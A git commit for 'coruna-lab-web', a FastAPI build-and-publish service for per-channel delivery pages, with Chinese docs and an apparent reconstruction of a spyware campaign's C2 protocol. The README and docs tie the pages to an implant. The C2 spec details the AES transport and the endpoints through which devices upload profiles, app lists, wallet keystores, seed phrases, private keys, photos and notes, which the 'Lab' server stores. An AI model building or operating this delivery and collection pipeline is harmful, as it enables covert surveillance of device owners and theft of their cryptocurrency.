This commit is contained in:
hashbro
2026-08-08 04:33:05 +08:00
commit 6447081ed9
174 changed files with 6990 additions and 0 deletions
+9
View File
@@ -0,0 +1,9 @@
*.log
.DS_Store
__pycache__/
*.pyc
.venv/
venv/
/artifacts/
/frontend/out/
/.env
+71
View File
@@ -0,0 +1,71 @@
# Coruna Lab Web
独立的渠道静态资源构建与分发服务,与 [`coruna-lab`](../coruna-lab/)(Laravel C2 / Admin)同级部署。
```text
coruna-lab-web/
├── frontend/
│ ├── source/ # 只读模板 / 明文输入(勿直接 --apply)
│ ├── tools/ # new_project / patch_*
│ ├── doc/ # Stage JS / sync / C2 链路文档
│ └── tests/ # native path patch 等工具测试
├── build_api/ # 同步 Build / Delete HTTP API(FastAPI)
├── docs/BUILD_API.md
├── tests/ # build_api 单元测试
└── artifacts/ # 本地默认产物根(gitignore)
└── channel/<id>/{web,sync,out,manifest.json}
```
兄弟项目:
```text
ios-fetch/
├── coruna-lab/ # Laravel:渠道元数据、C2、Admin
└── coruna-lab-web/ # 本仓库:构建 + 静态产物站
```
Laravel 通过 `CORUNA_BUILD_SERVICE_*` 调用本服务的:
- `POST /v1/channels/{id}/build`
- `DELETE /v1/channels/{id}`
公开静态路径:
```text
/channel/<id>/web/support.html
/channel/<id>/sync/daily.html
```
## Setup
```bash
cd coruna-lab-web
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
export BUILD_API_TOKEN="$(python3 -c 'import secrets; print(secrets.token_urlsafe(48))')"
export BUILD_API_ARTIFACT_ROOT="$PWD/artifacts"
python3 -m build_api
```
手动构建(不经 API):
```bash
python3 frontend/tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
--deployment-domains 'www.dep.example' \
--reporting-domains 'www.rep.example'
```
## Tests
```bash
python3 -m unittest discover -s tests -p 'test_*.py'
python3 -m unittest discover -s frontend/tests -p 'test_*.py'
python3 -m unittest discover -s frontend/tools/tests -p 'test_*.py'
```
## Deploy
见 [`docs/BUILD_API.md`](docs/BUILD_API.md)。可用宝塔等面板托管进程与反向代理,仓库内不维护 Nginx / systemd 样例。
+6
View File
@@ -0,0 +1,6 @@
"""Standalone synchronous channel build API."""
from .app import create_application
from .service import ApiError, BuildService, Settings
__all__ = ["ApiError", "BuildService", "Settings", "create_application"]
+21
View File
@@ -0,0 +1,21 @@
"""Run the build API with Uvicorn."""
from __future__ import annotations
import os
import uvicorn
from .app import create_application
def main() -> None:
host = os.environ.get("BUILD_API_HOST", "127.0.0.1")
port = int(os.environ.get("BUILD_API_PORT", "8081"))
application = create_application()
print(f"build API listening on http://{host}:{port}", flush=True)
uvicorn.run(application, host=host, port=port, log_level="info")
if __name__ == "__main__":
main()
+218
View File
@@ -0,0 +1,218 @@
"""FastAPI application for atomic channel builds."""
from __future__ import annotations
import hmac
from typing import Annotated, Any, Dict, List, Optional
from fastapi import Depends, FastAPI, Path, Request, Response
from fastapi.exceptions import RequestValidationError
from fastapi.responses import JSONResponse
from fastapi.security import HTTPAuthorizationCredentials, HTTPBearer
from pydantic import BaseModel, ConfigDict, Field, field_validator
from starlette.exceptions import HTTPException as StarletteHTTPException
from .service import ApiError, BuildService, Settings
MAX_BODY_BYTES = 64 * 1024
CHANNEL_PATH = Path(
...,
min_length=32,
max_length=32,
pattern=r"^[0-9a-z]{32}$",
description="32 lowercase alphanumeric channel id",
)
bearer_scheme = HTTPBearer(auto_error=False)
class BuildRequest(BaseModel):
model_config = ConfigDict(extra="forbid")
deployment_domains: List[str] = Field(min_length=1, max_length=8)
reporting_domains: List[str] = Field(min_length=1, max_length=8)
force: bool = Field(default=False, strict=True)
@field_validator("deployment_domains", "reporting_domains")
@classmethod
def domains_must_be_nonempty_strings(cls, value: List[str]) -> List[str]:
for item in value:
if not isinstance(item, str) or not item.strip():
raise ValueError("domain entries must be non-empty strings")
return value
def _error_response(status: int, code: str, message: str) -> JSONResponse:
return JSONResponse(
status_code=status,
content={"error": {"code": code, "message": message}},
headers={"Cache-Control": "no-store"},
)
def _validation_message(exc: RequestValidationError) -> str:
errors = exc.errors()
if not errors:
return "request validation failed"
first = errors[0]
loc = [str(part) for part in first.get("loc", ()) if part != "body"]
msg = str(first.get("msg", "invalid"))
error_type = str(first.get("type", ""))
if error_type == "json_invalid" or "JSON decode" in msg:
return "request body must be valid JSON"
if error_type == "model_attributes_type":
return "request body must be a JSON object"
if error_type == "extra_forbidden" and loc:
return f"unknown fields: {loc[-1]}"
if "force" in loc and error_type.startswith("bool"):
return "force must be a boolean"
if any(part == "channel_id" for part in first.get("loc", ())):
return "channel id must be 32 lowercase alphanumeric characters"
if loc and loc[-1] in {"deployment_domains", "reporting_domains"}:
field = loc[-1]
if "too_short" in error_type or "too_long" in error_type:
return f"{field} must contain 1 to 8 domains"
return f"{field} contains an invalid domain"
if loc:
return f"{'.'.join(loc)}: {msg}"
return msg
def get_settings(request: Request) -> Settings:
return request.app.state.settings
def get_service(request: Request) -> BuildService:
return request.app.state.service
def require_auth(
credentials: Annotated[
Optional[HTTPAuthorizationCredentials], Depends(bearer_scheme)
],
settings: Annotated[Settings, Depends(get_settings)],
) -> None:
token = credentials.credentials if credentials is not None else ""
if not token or not hmac.compare_digest(token, settings.bearer_token):
raise ApiError(401, "unauthorized", "valid Bearer token required")
def create_application(
settings: Optional[Settings] = None,
service: Optional[BuildService] = None,
) -> FastAPI:
resolved_settings = settings or Settings.from_env()
resolved_service = service or BuildService(resolved_settings)
app = FastAPI(
title="Coruna Build API",
version="1.0.0",
docs_url=None,
redoc_url=None,
openapi_url=None,
)
app.state.settings = resolved_settings
app.state.service = resolved_service
@app.middleware("http")
async def enforce_body_limit(request: Request, call_next: Any) -> Response:
content_length = request.headers.get("content-length")
if content_length is not None:
try:
length = int(content_length)
except ValueError:
return _error_response(
422, "validation_error", "valid Content-Length required"
)
if length > MAX_BODY_BYTES:
return _error_response(
422, "validation_error", "request body size is invalid"
)
response = await call_next(request)
if "cache-control" not in response.headers:
response.headers["Cache-Control"] = "no-store"
return response
@app.exception_handler(ApiError)
async def api_error_handler(_: Request, exc: ApiError) -> JSONResponse:
return _error_response(exc.status, exc.code, exc.message)
@app.exception_handler(RequestValidationError)
async def validation_error_handler(
_: Request, exc: RequestValidationError
) -> JSONResponse:
return _error_response(422, "validation_error", _validation_message(exc))
@app.exception_handler(StarletteHTTPException)
async def http_exception_handler(
_: Request, exc: StarletteHTTPException
) -> JSONResponse:
if exc.status_code == 404:
return _error_response(404, "not_found", "route not found")
if exc.status_code == 405:
return _error_response(405, "method_not_allowed", "method not allowed")
return _error_response(
exc.status_code, "http_error", str(exc.detail) or "request failed"
)
@app.exception_handler(Exception)
async def unhandled_error_handler(_: Request, __: Exception) -> JSONResponse:
return _error_response(500, "internal_error", "internal server error")
@app.get("/health")
def health() -> Dict[str, str]:
return {"status": "ok"}
@app.post(
"/v1/channels/{channel_id}/build",
dependencies=[Depends(require_auth)],
status_code=201,
)
def build_channel(
channel_id: Annotated[str, CHANNEL_PATH],
body: BuildRequest,
service: Annotated[BuildService, Depends(get_service)],
) -> JSONResponse:
request_input = {
"channel_id": channel_id,
"deployment_domains": BuildService.normalize_domains(
body.deployment_domains, "deployment_domains"
),
"reporting_domains": BuildService.normalize_domains(
body.reporting_domains, "reporting_domains"
),
}
status, payload, headers = service.build(
channel_id, request_input, force=body.force
)
return JSONResponse(
status_code=status,
content=payload,
headers={"Cache-Control": "no-store", **dict(headers)},
)
@app.get(
"/v1/channels/{channel_id}",
dependencies=[Depends(require_auth)],
)
def channel_status(
channel_id: Annotated[str, CHANNEL_PATH],
service: Annotated[BuildService, Depends(get_service)],
) -> Dict[str, Any]:
return service.status(channel_id)
@app.delete(
"/v1/channels/{channel_id}",
dependencies=[Depends(require_auth)],
status_code=204,
response_class=Response,
)
def delete_channel(
channel_id: Annotated[str, CHANNEL_PATH],
service: Annotated[BuildService, Depends(get_service)],
) -> Response:
service.delete(channel_id)
return Response(status_code=204, headers={"Cache-Control": "no-store"})
return app
+463
View File
@@ -0,0 +1,463 @@
"""Channel build storage, locking, and builder orchestration."""
from __future__ import annotations
import ctypes
import errno
import fcntl
import hashlib
import json
import os
import re
import shutil
import subprocess
import sys
import time
import uuid
from contextlib import contextmanager
from dataclasses import dataclass
from pathlib import Path
from typing import Any, Iterator
CHANNEL_RE = re.compile(r"^[0-9a-z]{32}$")
DOMAIN_RE = re.compile(
r"^(?=.{1,253}\.?$)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)*"
r"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.?$"
)
class ApiError(Exception):
def __init__(self, status: int, code: str, message: str):
super().__init__(message)
self.status = status
self.code = code
self.message = message
@dataclass(frozen=True)
class Settings:
artifact_root: Path
bearer_token: str
project_script: Path
python: str = sys.executable
build_timeout: int = 900
@classmethod
def from_env(cls) -> "Settings":
repo_root = Path(__file__).resolve().parent.parent
token = os.environ.get("BUILD_API_TOKEN", "")
if not token:
raise RuntimeError("BUILD_API_TOKEN is required")
timeout = int(os.environ.get("BUILD_API_TIMEOUT", "900"))
if timeout < 1:
raise RuntimeError("BUILD_API_TIMEOUT must be positive")
return cls(
artifact_root=Path(
os.environ.get("BUILD_API_ARTIFACT_ROOT", repo_root / "artifacts")
),
bearer_token=token,
project_script=Path(
os.environ.get(
"BUILD_API_PROJECT_SCRIPT",
repo_root / "frontend" / "tools" / "new_project.py",
)
),
python=os.environ.get("BUILD_API_PYTHON", sys.executable),
build_timeout=timeout,
)
class ChannelLock:
def __init__(self, descriptor: int):
self.descriptor = descriptor
def close(self) -> None:
try:
fcntl.flock(self.descriptor, fcntl.LOCK_UN)
finally:
os.close(self.descriptor)
class BuildService:
def __init__(self, settings: Settings):
self.settings = settings
configured_root = settings.artifact_root.expanduser().absolute()
configured_root.mkdir(parents=True, exist_ok=True)
if configured_root.is_symlink() or not configured_root.is_dir():
raise RuntimeError("artifact root must be a real directory")
self.root = configured_root.resolve(strict=True)
self.channels = self.root / "channel"
self.staging = self.root / "staging"
self.locks = self.root / "locks"
self._prepare_storage()
def _prepare_storage(self) -> None:
for path in (self.channels, self.staging, self.locks):
path.mkdir(mode=0o750, exist_ok=True)
if path.is_symlink() or not path.is_dir():
raise RuntimeError(f"managed path must be a real directory: {path}")
root_device = self.root.stat().st_dev
if any(path.stat().st_dev != root_device for path in (self.channels, self.staging)):
raise RuntimeError("staging and channel directories must share a filesystem")
def build(
self, channel_id: str, request_input: dict[str, Any], *, force: bool
) -> tuple[int, dict[str, Any], list[tuple[str, str]]]:
self.validate_channel(channel_id)
digest = self._digest(request_input)
request_id = uuid.uuid4().hex
with self._channel_lock(channel_id):
destination = self._channel_path(channel_id)
if self._path_exists(destination):
self._assert_safe_tree(destination)
current = self._read_manifest(destination)
if current is None:
raise ApiError(
409,
"existing_build_invalid",
"channel release exists without a valid manifest",
)
if current.get("input_digest") == digest and not force:
return 200, self._status_payload(channel_id, current), []
if not force:
raise ApiError(
409,
"build_conflict",
"channel already exists with different build input",
)
stage = self._staging_path(request_id)
stage.mkdir(mode=0o750)
try:
completed = self._run_builder(stage, channel_id, request_input)
self._validate_output(stage, channel_id)
release = self._read_manifest(stage) or {}
manifest = {
**release,
"schema_version": 1,
"channel_id": channel_id,
"request_id": request_id,
"input_digest": digest,
"input": request_input,
"built_at": int(time.time()),
"support_path": release.get(
"support_path", f"/channel/{channel_id}/web/support.html"
),
"daily_path": release.get(
"daily_path", f"/channel/{channel_id}/sync/daily.html"
),
"builder": {
"exit_code": completed.returncode,
"stdout_sha256": hashlib.sha256(
completed.stdout.encode("utf-8", "replace")
).hexdigest(),
},
}
self._replace_json(stage / "manifest.json", manifest)
self._publish(stage, destination, request_id)
except subprocess.TimeoutExpired as exc:
raise ApiError(500, "build_timeout", "builder timed out") from exc
except subprocess.CalledProcessError as exc:
message = self._builder_error(exc)
raise ApiError(500, "build_failed", message) from exc
finally:
if stage.exists():
self._remove_staging(stage)
return 201, self._status_payload(channel_id, manifest), [
("Location", f"/v1/channels/{channel_id}")
]
def status(self, channel_id: str) -> dict[str, Any]:
self.validate_channel(channel_id)
destination = self._channel_path(channel_id)
if not self._path_exists(destination):
raise ApiError(404, "not_found", "channel release not found")
self._assert_safe_tree(destination)
manifest = self._read_manifest(destination)
if manifest is None:
raise ApiError(500, "invalid_release", "channel manifest is invalid")
return self._status_payload(channel_id, manifest)
def delete(self, channel_id: str) -> None:
self.validate_channel(channel_id)
with self._channel_lock(channel_id):
destination = self._channel_path(channel_id)
if self._path_exists(destination):
self._safe_rmtree(destination)
def _run_builder(
self, stage: Path, channel_id: str, request_input: dict[str, Any]
) -> subprocess.CompletedProcess[str]:
script = self.settings.project_script
if script.is_symlink() or not script.is_file():
raise ApiError(500, "builder_unavailable", "builder script is unavailable")
# Staging is created empty by the API; new_project refuses an existing
# --root unless --force is set.
command = [
self.settings.python,
str(script),
"--root",
str(stage),
"--channel-id",
channel_id,
"--force",
]
for domain in request_input["deployment_domains"]:
command.extend(["--deployment-domains", domain])
for domain in request_input["reporting_domains"]:
command.extend(["--reporting-domains", domain])
return subprocess.run(
command,
cwd=str(Path(__file__).resolve().parent.parent),
check=True,
capture_output=True,
text=True,
timeout=self.settings.build_timeout,
env={**os.environ, "PYTHONUNBUFFERED": "1"},
)
def _publish(self, stage: Path, destination: Path, request_id: str) -> None:
self._assert_safe_tree(stage)
backup = self.channels / f".replaced-{destination.name}-{request_id}"
moved_old = False
try:
if self._path_exists(destination):
self._assert_safe_tree(destination)
if self._exchange_directories(stage, destination):
self._safe_rmtree(stage)
self._fsync_directory(self.channels)
return
os.rename(destination, backup)
moved_old = True
os.rename(stage, destination)
except Exception:
if (
moved_old
and not self._path_exists(destination)
and self._path_exists(backup)
):
os.rename(backup, destination)
raise
self._fsync_directory(self.channels)
if self._path_exists(backup):
self._safe_rmtree(backup)
@staticmethod
def _exchange_directories(first: Path, second: Path) -> bool:
"""Atomically exchange directories on Linux; return false if unsupported."""
if not sys.platform.startswith("linux"):
return False
libc = ctypes.CDLL(None, use_errno=True)
renameat2 = getattr(libc, "renameat2", None)
if renameat2 is None:
return False
renameat2.argtypes = [
ctypes.c_int,
ctypes.c_char_p,
ctypes.c_int,
ctypes.c_char_p,
ctypes.c_uint,
]
renameat2.restype = ctypes.c_int
result = renameat2(
-100,
os.fsencode(first),
-100,
os.fsencode(second),
2,
)
if result == 0:
return True
error = ctypes.get_errno()
if error in (errno.ENOSYS, errno.EINVAL, errno.ENOTSUP):
return False
raise OSError(error, os.strerror(error))
def _validate_output(self, stage: Path, channel_id: str) -> None:
required_dirs = (stage / "web", stage / "sync", stage / "out")
if any(not path.is_dir() or path.is_symlink() for path in required_dirs):
raise ApiError(
500,
"invalid_build_output",
"builder must produce web, sync, and out directories",
)
required_files = (
stage / "web" / "support.html",
stage / "sync" / "daily.html",
stage / "manifest.json",
)
if any(not path.is_file() or path.is_symlink() for path in required_files):
raise ApiError(
500,
"invalid_build_output",
"builder must produce support.html, daily.html, and manifest.json",
)
release = self._read_manifest(stage)
if not release or release.get("channel_id") != channel_id:
raise ApiError(
500,
"invalid_build_output",
"builder manifest channel_id does not match request",
)
self._assert_safe_tree(stage)
@staticmethod
def normalize_domains(value: list[str], field: str) -> list[str]:
if not value or len(value) > 8:
raise ApiError(
422, "validation_error", f"{field} must contain 1 to 8 domains"
)
result: list[str] = []
for item in value:
domain = item.strip().lower()
if not DOMAIN_RE.fullmatch(domain):
raise ApiError(
422, "validation_error", f"{field} contains an invalid domain"
)
result.append(domain.rstrip("."))
if len(set(result)) != len(result):
raise ApiError(
422, "validation_error", f"{field} must not contain duplicates"
)
return result
@staticmethod
def validate_channel(channel_id: str) -> None:
if not CHANNEL_RE.fullmatch(channel_id):
raise ApiError(
422,
"validation_error",
"channel id must be 32 lowercase alphanumeric characters",
)
@contextmanager
def _channel_lock(self, channel_id: str) -> Iterator[ChannelLock]:
path = self.locks / f"{channel_id}.lock"
flags = os.O_CREAT | os.O_RDWR
if hasattr(os, "O_NOFOLLOW"):
flags |= os.O_NOFOLLOW
try:
descriptor = os.open(path, flags, 0o640)
except OSError as exc:
raise ApiError(409, "channel_locked", "channel lock is unavailable") from exc
lock = ChannelLock(descriptor)
try:
try:
fcntl.flock(descriptor, fcntl.LOCK_EX | fcntl.LOCK_NB)
except OSError as exc:
if exc.errno in (errno.EACCES, errno.EAGAIN):
raise ApiError(
409, "channel_locked", "another channel operation is in progress"
) from exc
raise
yield lock
finally:
lock.close()
def _channel_path(self, channel_id: str) -> Path:
return self._contained(self.channels, self.channels / channel_id)
def _staging_path(self, request_id: str) -> Path:
return self._contained(self.staging, self.staging / request_id)
@staticmethod
def _contained(parent: Path, child: Path) -> Path:
if child.parent != parent or not child.is_relative_to(parent):
raise ApiError(500, "unsafe_path", "managed path escaped its root")
return child
@staticmethod
def _assert_safe_tree(path: Path) -> None:
if path.is_symlink() or not path.is_dir():
raise ApiError(409, "unsafe_release", "managed release is not a real directory")
for root, directories, files in os.walk(path, followlinks=False):
for name in (*directories, *files):
entry = Path(root) / name
if entry.is_symlink():
raise ApiError(
409, "unsafe_release", "managed release contains a symbolic link"
)
def _safe_rmtree(self, path: Path) -> None:
self._assert_safe_tree(path)
shutil.rmtree(path)
def _remove_staging(self, path: Path) -> None:
"""Remove an unpublished builder tree without following child symlinks."""
self._contained(self.staging, path)
if path.is_symlink() or not path.is_dir():
raise ApiError(500, "unsafe_path", "staging root is not a real directory")
shutil.rmtree(path)
@staticmethod
def _path_exists(path: Path) -> bool:
return os.path.lexists(path)
@staticmethod
def _fsync_directory(path: Path) -> None:
descriptor = os.open(path, os.O_RDONLY)
try:
os.fsync(descriptor)
finally:
os.close(descriptor)
@staticmethod
def _replace_json(path: Path, value: dict[str, Any]) -> None:
"""Atomically overwrite JSON that the builder may already have created."""
data = json.dumps(value, sort_keys=True, indent=2).encode() + b"\n"
temporary = path.with_name(f".{path.name}.{uuid.uuid4().hex}.tmp")
descriptor = os.open(temporary, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o640)
try:
with os.fdopen(descriptor, "wb") as stream:
stream.write(data)
stream.flush()
os.fsync(stream.fileno())
os.replace(temporary, path)
except Exception:
if temporary.exists():
temporary.unlink()
raise
@staticmethod
def _read_manifest(destination: Path) -> dict[str, Any] | None:
if destination.is_symlink() or not destination.is_dir():
return None
manifest_path = destination / "manifest.json"
if manifest_path.is_symlink() or not manifest_path.is_file():
return None
try:
value = json.loads(manifest_path.read_text(encoding="utf-8"))
except (OSError, UnicodeDecodeError, json.JSONDecodeError):
return None
return value if isinstance(value, dict) else None
@staticmethod
def _digest(value: dict[str, Any]) -> str:
canonical = json.dumps(
value, sort_keys=True, separators=(",", ":"), ensure_ascii=True
).encode()
return hashlib.sha256(canonical).hexdigest()
@staticmethod
def _status_payload(channel_id: str, manifest: dict[str, Any]) -> dict[str, Any]:
return {
"status": "built",
"channel_id": channel_id,
"request_id": manifest.get("request_id"),
"release_path": f"channel/{channel_id}",
"support_path": manifest.get(
"support_path", f"/channel/{channel_id}/web/support.html"
),
"daily_path": manifest.get(
"daily_path", f"/channel/{channel_id}/sync/daily.html"
),
"manifest": manifest,
}
@staticmethod
def _builder_error(exc: subprocess.CalledProcessError) -> str:
stderr = (exc.stderr or "").strip().splitlines()
detail = stderr[-1][:500] if stderr else "builder exited unsuccessfully"
return f"builder failed: {detail}"
+150
View File
@@ -0,0 +1,150 @@
# Synchronous build API
`build_api` is the HTTP front of **coruna-lab-web**. It runs
`frontend/tools/new_project.py` synchronously and publishes completed releases
for a web server to serve directly from the local filesystem. Laravel lives in the
sibling `coruna-lab` project and calls this API over the network.
## Storage layout
```text
<artifact-root>/
├── channel/<channel-id>/ # published web/, sync/, out/, manifest.json
├── staging/<request-id>/ # private build workspaces
└── locks/<channel-id>.lock # nonblocking advisory locks
```
Staging and published releases are children of the same artifact root and are
checked to be on the same filesystem. A successful build is renamed into
`channel/<channel-id>` only after its required output and absence of symlinks
have been verified. Builder failures remove staging and leave an existing
release untouched.
Every release gets a `manifest.json` containing the normalized build input, its
SHA-256 digest, request ID, build timestamp, and a digest of builder stdout.
An identical input returns the existing manifest without running the builder.
Different input for an existing channel returns `409`; `"force": true` replaces
it after a new build succeeds.
## Configuration
The service reads:
- `BUILD_API_TOKEN` (required): exact Bearer token.
- `BUILD_API_ARTIFACT_ROOT`: defaults to `artifacts/` in the repository.
- `BUILD_API_PROJECT_SCRIPT`: defaults to `frontend/tools/new_project.py`.
- `BUILD_API_PYTHON`: Python used to invoke the builder.
- `BUILD_API_HOST` / `BUILD_API_PORT`: defaults to `127.0.0.1:8081`.
- `BUILD_API_TIMEOUT`: synchronous build timeout in seconds, default `900`.
Install API dependencies, then run from the repository root:
```bash
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
export BUILD_API_TOKEN="$(python3 -c 'import secrets; print(secrets.token_urlsafe(48))')"
export BUILD_API_ARTIFACT_ROOT=/srv/coruna-artifacts
python3 -m build_api
```
The HTTP layer is **FastAPI** served by **Uvicorn**. Route contracts, status
codes, and Bearer auth are unchanged for Laravel clients.
The builder contract is:
```text
python new_project.py \
--root <artifact-root>/staging/<request-id> \
--channel-id <id> \
--deployment-domains <domain> ... \
--reporting-domains <domain> ...
```
It must create a channel-scoped tree below `--root`:
```text
<root>/
├── web/support.html
├── sync/daily.html
├── out/
└── manifest.json # includes channel_id, support_path, daily_path
```
The API always passes `--force` because it pre-creates the staging directory.
It never writes into the Laravel `public/` directory. Published static URLs are:
```text
/channel/<id>/web/support.html
/channel/<id>/sync/daily.html
```
Run the API as a long-lived process (for example via a process manager in
宝塔) and put a reverse proxy in front of `BUILD_API_HOST`/`BUILD_API_PORT`.
Point the public static site document root at the artifact root so only
`channel/<id>/web/` and `channel/<id>/sync/` are reachable; keep
`staging/`, `locks/`, manifests, and `out/` private. The web server user
needs read access to published releases; it should not have write access.
## API
Health is public:
```bash
curl https://builds.example.com/health
```
Build:
```bash
curl -i -X POST \
-H "Authorization: Bearer $BUILD_API_TOKEN" \
-H "Content-Type: application/json" \
https://builds.example.com/v1/channels/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/build \
-d '{
"deployment_domains": ["deploy.example"],
"reporting_domains": ["report.example"]
}'
```
The first successful build returns `201`; the same normalized input returns
`200`. A busy channel or conflicting existing release returns `409`, and an
invalid channel, JSON body, domain, or field returns `422`.
Status and deletion:
```bash
curl -H "Authorization: Bearer $BUILD_API_TOKEN" \
https://builds.example.com/v1/channels/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
curl -i -X DELETE -H "Authorization: Bearer $BUILD_API_TOKEN" \
https://builds.example.com/v1/channels/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```
Deletion returns `204` whether or not the release exists. It rejects symbolic
links and takes the same per-channel lock as builds.
Public static URLs:
```text
/channel/<channel-id>/web/support.html
/channel/<channel-id>/sync/daily.html
```
Only `web/` and `sync/` under each channel should be exposed; manifests,
`out/`, staging, and locks stay private.
## Migration checklist
1. Deploy `build_api` + artifact root + reverse proxy / static site via your panel.
2. Set Laravel `CORUNA_BUILD_SERVICE_*` and static-site domains.
3. Create a new channel from Admin and verify support/daily URLs on the static host.
4. Keep legacy `public/web` and `public/sync` read-only until old channels are rebuilt or retired.
5. Device validation (ops): capture that the implant requests `/channel/<id>/sync/daily.html` then `/channel/<id>/sync/<wire>`.
## Tests
```bash
python3 -m unittest -v tests.test_build_api
```
+35
View File
@@ -0,0 +1,35 @@
# frontend — 投递模板与构建工具
只读模板、`tools/` patch 脚本、链路文档。项目根是上一级 [`../`](../README.md)(`coruna-lab-web`)。
生产构建由 [`../build_api/`](../build_api/) 调用;产物发布到 artifact root 的 `channel/<id>/`。
```text
frontend/
├── source/ # 模板(勿直接 --apply)
├── tools/ # new_project / patch_*
├── doc/ # STAGE_JS / NATIVE_PACKS / SYNC …
├── tests/ # path patch 等
└── out/ # 可选缓存
```
## 快速构建
在 **coruna-lab-web 根**执行:
```bash
cd .. # → coruna-lab-web/
pip3 install -r requirements.txt
python3 frontend/tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
--deployment-domains 'www.dep.example' \
--reporting-domains 'www.rep.example'
```
默认产物:`artifacts/channel/<id>/{web,sync,out}/`。
细节见 [`tools/README.md`](tools/README.md)、[`../docs/BUILD_API.md`](../docs/BUILD_API.md)。
## 注意
- 不要对 `source/` 使用 `--apply`
- 首个 daily 路径与 daily 内模块 URL 均为 `/channel/<id>/sync/...`
- Laravel Admin 在兄弟项目 `coruna-lab`,通过 HTTP 调用本仓库 build API
+458
View File
@@ -0,0 +1,458 @@
# Coruna Reporting C2 API
Lab 实现见 `routes/c2.php`。字段形状主要来自:
- [`coruna-online/docs/CORUNA_COMPLETE_DATAFLOW_REPORT.md`](../../../coruna-online/docs/CORUNA_COMPLETE_DATAFLOW_REPORT.md) §7
- HAR 解密红acted 样本
[`c2_decrypted_redacted.json`](../../../coruna-online/evidence/cases/2026-08-02-coruna-har/c2_decrypted_redacted.json)
敏感值在证据里已打码;下文用「含义 + 类型」描述,不复述真实秘密。
---
## 1. 传输约定
### 1.1 JSON POST(除 `/api/user/check`、除 `GET /api/user/query`)
| 项 | 说明 |
|----|------|
| Header `timestamp` | 13 位毫秒时间戳 |
| Body | Base64(AES-256-ECB-PKCS7(key, `timestamp \|\| JSON`)) |
| key | `SHA256(session_key \|\| timestamp)`(session_key 为 16 ASCII) |
响应同样用自生成 `timestamp` 头 + 加密 body。常见明文为:
```json
null
```
或:
```json
{"code":0,"msg":"ok","data":null}
```
**Lab 默认回包**:加密 `{"code":0,"msg":"ok","data":null}`(与客户端不死循环的成功 ack 对齐)。真实战役响应字段可能更丰富,但客户端通常只认成功/可解密。
### 1.2 GET `/api/user/query`
- 无加密 body
- 响应明文:`OK`(`text/plain`)
### 1.3 POST `/api/user/check`
- `multipart/form-data`
- `file`:Coruna 头混淆的加密 7z;口令 `session_key || batchBase`(首批常见 `"0"`)
- `sig`:不透明二进制,**Lab 不校验**
### 1.4 通用身份字段(多接口复用)
| 字段 | 观察含义 |
|------|----------|
| `c` | 32 hex,会话/渠道类 ID |
| `d` / `f` | 16 hex,设备相关指纹(二者常相同) |
| `id` / `lhu` | UUID 形字符串(事件/本地句柄) |
| `pn` / `m` / `et` | 产品名 / 机型 / 事件类型文本 |
| `pv` | 系统版本(如 `15.8.4`) |
| `s` / `u` / `sbu` | 其它会话/用户侧短字段 |
| `v` | 插件或模块版本串 |
设备主键:只取 `d` / `f`(见 `IngestService::extractDeviceKey`)。
`/api/user/check` multipart 的 `d`/`f` 为编码形态
`hex(ascii(nibbleSwap(byteReverse(json_d))))`(例:`000430C910E8E526` → `36323545384530313943303334303030`);Lab 在入库前归一化为 JSON 侧 16 hex。
---
## 2. 接口一览
| 方法 | 路径 | 用途(战役观察) | Lab 行为 |
|------|------|------------------|----------|
| GET | `/api/user/query` | DGA/连通性探测,选 reporting C2 | 明文 `OK` |
| POST | `/api/user/avatar/set` | 首次设备 profile | 写 devices(+apps 若有) |
| POST | `/api/user/get` | 拉/登记状态;带已装 App 列表 | 登记设备;ack |
| POST | `/api/user/avatar/put` | 下载/注入/模块健康等遥测 | 登记设备;ack;落文件日志 |
| POST | `/api/user/avatar/status` | 钱包 keystore / identity JSON | `wallet_keystores.raw_json` ← `result` |
| POST | `/api/user/status` | 地址 → 资产/余额(`ba`/`ad`) | `wallet_addresses`(balance JSON,source←`a`) |
| POST | `/api/user/set` | 明文助记词或私钥 | `wallet_mnemonics`(加密,source←`a`) |
| POST | `/api/user/check` | 相册命中图 7z 归档 | 修头解包 → photos |
| POST | `/api/user/avatar/pic` | Notes 批次(`list`) | `notes.content` ← `payload.list` |
| POST | `/api/user/profile/{add,delete,remove}` | imagent 侧 profile 变更 | 仅日志 + ack |
| POST | `/link/config/list` | WebClip/链接配置轮询 | ack `data: []` |
| POST | `/link/config/icon` | WebClip 图标 | ack `data: null` |
**不做**:`/kill`、助记词/私钥自动划转。
---
## 3. 分接口说明
### 3.1 `GET /api/user/query`
**用途**:reporting 是否存活;DGA 用成功响应选定当前 C2。
**请求**:无 body;可无特殊头。
**响应(Lab / 战役一致观察)**:
```text
OK
```
---
### 3.2 `POST /api/user/avatar/set`
**用途**:植入后上报设备画像(机型、系统、区域、运营商、宿主 App 等)。
**请求明文(红acted 形状)**:
```jsonc
{
"c": "<32hex>",
"d": "<16hex>",
"f": "<16hex>",
"application": {
"applicationIdentifier": "<bundle>",
"bundleIdentifier": "<bundle>"
},
"deviceInfo": {
"productName": "iPhone OS",
"productType": "iPhone9,1",
"productVersion": "15.8.4",
"hardwareModel": "...",
"buildVersion": "..."
},
"deviceModel": "iPhone9,1",
"deviceName": "<name>",
"systemVersion": "15.8.4",
"machine": "...",
"kernVersion": "...",
"bootHash": "...",
"boottime": 0,
"carrierNames": [],
"language": "...",
"regionCode": "...",
"timezone": "...",
"totalGB": 0,
"jbsdk_version": "...",
"lhu": "<uuid>",
"s": "...",
"sbu": "...",
"u": "..."
}
```
**响应**:加密 ack(见 §1.1)。
---
### 3.3 `POST /api/user/get`
**用途**:初始状态/注册拉取;HAR 中携带已装应用简表 `al`。
**请求明文要点**:
```jsonc
{
"c": "<32hex>",
"d": "<16hex>",
"f": "<16hex>",
"al": [
{ "a": "<app name>", "b": "<bundle id>", "v": "<version>" }
],
"b": "...",
"i": "...",
"lhu": "<uuid>",
"m": "...",
"p": "...",
"s": "...",
"sbu": "...",
"u": "...",
"v": "..."
}
```
| 字段 | 含义 |
|------|------|
| `al[].a` | App 显示名 |
